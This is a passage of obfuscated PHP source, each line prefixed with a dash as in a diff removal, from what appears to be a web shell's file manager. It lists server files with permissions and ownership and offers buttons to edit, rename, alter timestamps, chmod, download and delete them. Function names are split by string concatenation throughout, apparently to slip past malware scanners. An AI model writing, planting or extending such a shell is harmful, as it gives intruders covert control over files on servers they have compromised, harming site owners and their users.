- <input type=\"hidden\" name=\"name\" value=\"$ppkcina\">
- <input type=\"hidden\" name=\"piranhaloc\" value=\"$lokasi/$ppkcina\">
- <button type='submit' class='btf' name='pilih' value='ubahnama'><i class='fa fa-pencil' #fff'></i></button>
- <button type='submit' class='btf' name='pilih' value='ubahtanggal'><i class='fa fa-calendar' #fff'></i></button>
- <button type='submit' class='btf' name='pilih' value='ubahmod'><i class='fa fa-gear' #fff'></i></button>
- <button type='submit' class='btf' name='pilih' value='hapus'><i class='fa fa-trash' #fff'></i></button>
- </form></center></td>
- </tr>";
- }
- echo '<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>';
- $skd = "10"."24";
- foreach($lokasinya as $mekicina) {
- $euybray = $lokasi."/".$mekicina;
- if(!$ifi("$lokasi/$mekicina")) continue;
- $size = $fsz("$lokasi/$mekicina")/$skd;
- $size = $rd($size,3);
- if($size >= $skd){
- $size = $rd($size/$skd,2).' M'.'B';
- } else {
- $size = $size.' K'.'B';
- }
- echo "<tr>
- <td>".cfn($euybray)." >$mekicina</a></td>
- <td><center>".$size."</center></td>
- <td><center>".fdt($euybray)."</center></td>
- <td><center>".gor($euybray)." / ".ggr($euybray)."</center></td>
- <td><center>";
- if($isw("$lokasi/$mekicina")) echo '<font color="#009c12">';
- elseif(!$isr("$lokasi/$mekicina")) echo '<font color="red">';
- echo statusnya("$lokasi/$mekicina");
- if($isw("$lokasi/$mekicina") || !$isr("$lokasi/$mekicina")) echo '</font>';
- echo "</center></td><td><center>
- >
- <button type='submit' class='btf' name='pilih' value='edit'><i class='fa fa-edit' #fff'></i></button>
- <button type='submit' class='btf' name='pilih' value='ubahnama'><i class='fa fa-pencil' #fff'></i></button>
- <button type='submit' class='btf' name='pilih' value='ubahtanggal'><i class='fa fa-calendar' #fff'></i></button>
- <button type='submit' class='btf' name='pilih' value='ubahmod'><i class='fa fa-gear' #fff'></i></button>
- <button type='submit' class='btf' name='pilih' value='dunlut'><i class='fa fa-down"."load' #fff'></i></button>
- <button type='submit' class='btf' name='pilih' value='hapus'><i class='fa fa-trash' #fff'></i></button>
- <input type=\"hidden\" name=\"type\" value=\"fi"."le\">
- <input type=\"hidden\" name=\"name\" value=\"$mekicina\">
- <input type=\"hidden\" name=\"piranhaloc\" value=\"$lokasi/$mekicina\">
- </form></center></td>
- </tr>";
- }
- echo '</tr></td></table></table>';
- function statusnya($fl){
- $a = "sub"."st"."r";
- $b = "s"."pri"."ntf";
- $c = "fil"."eper"."ms";
- $izin = $a($b('%o', $c($fl)), -4);
- return $izin;
- }
- ?>